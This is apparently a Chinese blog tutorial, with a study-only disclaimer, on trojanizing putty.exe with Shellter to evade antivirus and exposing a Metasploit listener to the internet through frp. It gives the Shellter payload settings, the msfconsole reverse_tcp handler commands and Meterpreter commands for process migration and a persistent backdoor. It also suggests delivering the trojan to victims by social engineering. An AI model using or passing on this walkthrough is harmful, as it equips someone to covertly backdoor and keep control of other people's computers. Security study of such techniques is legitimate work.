利用frp搭建公网Metasploit并使用Shellter实现简单木马免杀
利用frp搭建公网Metasploit并使用Shellter实现简单木马免杀
免责声明：本公众号安全类、工具类文章仅用于安全学习、安全研究、技术交流，内容来源于互联网已公开内容，若读者利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由读者本人负责，文章作者不承担任何责任。请遵守相关网络安全法律法规，禁止非法用途!
最近看了freebuf上关于Metasploit的一些文章，再加上最近所学习到的Kali知识，尝试利用Frp搭建公网Metasploit并使用Shellter实现简单木马免杀的渗透攻击
简单的拓扑图如下
(图片可放大查看)
云主机CentOS7
(图片可放大查看)
内网Kali机
(图片可放大查看)
基础概念
1、Shellter 是一款动态 shellcode 注入工具，可以将shellcode注入到其它程序上，从而来躲避杀毒软件的查杀。俗称为免杀
2、Metasploit是一个免费的、可下载的渗透攻击框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
Metasploit的设计初衷是打造成一个攻击工具开发平台， 然而在目前情况下，安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境
3、Frp:一款国产优秀的内网穿透工具
具体过程及步骤如下
1、下载putty.exe 32位版本并上传kali机器并安装Shellter
下载putty.exe32位，因为shellter只支持32位程序
(图片可放大查看)
(图片可放大查看)
apt install shellter
dpkg --add-architecture i386 && apt update && apt -y install wine32
(图片可放大查看)
2、使用Shellter生成远控木马
kali机器运行Shellter
(图片可放大查看)
(图片可放大查看)
(图片可放大查看)
Use a listed payload or custom? (L/C/H): L 使用攻击模块列表
Select payload by index: 1
SET LHOST: 81.X.X.X 设置接收反弹的公网IP
SET LPORT: 5432 设置接收反弹的端口
(图片可放大查看)
(图片可放大查看)
当然你也可以使用msfvenom生成exe木马
3、kali主机上安装frp内网穿透软件
将metasploit的内网监听端口5432映射到公网云主机的5432端口上 映射关系如下
- metasploit反弹回连端口：内网192.168.31.57:5432<----------->公网81.X.X.X:5432
- kali SSH端口:内网192.168.31.57:22<----------->公网81.X.X.X:8722
kali机器上配置frpc.ini
(图片可放大查看)
(图片可放大查看)
frp内网穿透这个我就不过多介绍配置过程了，可以参考之前的文章
腾讯云主机上部署FRP+Teamviewer穿透内网进行远程运维
4、内网kali打开msfconsole监听反弹shell
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.57（kali控制机的内网IP）
set LPORT 5432（反弹连接的端口，必须和shellter工具生成木马时设置的端口一样）
run（开始监听）
(图片可放大查看)
5、靶机上线后进行渗透攻击
比如社工手段将木马程序传到靶机，一但靶机运行了该木马程序 msfconsole反弹shell就可以看到靶机上线，接下来就可以进行攻击渗透，控制靶机了
为了演示方便，我在win7虚拟机电脑运行捆绑好木马的软件putty.exe 这时MSF可以看到会话建立了，接下来就可以搞事情了
(图片可放大查看)
(图片可放大查看)
(图片可放大查看)
6、安装后门
1）、将木马切换到一个比较稳定的进程，防止捆绑软件关闭后木马随之关闭
run post/windows/manage/migrate
2）、安装后门
run persistence -X -i 40（多少秒发送一次连接） -p 5432（端口） -r 192.168.31.57（控制者IP）
(图片可放大查看)
本文完成过程参考如下文章
- https://blog.csdn.net/qq_34444097/article/details/79573798
- https://www.freebuf.com/articles/network/166702.html
- https://www.cnblogs.com/hkleak/p/12912706.html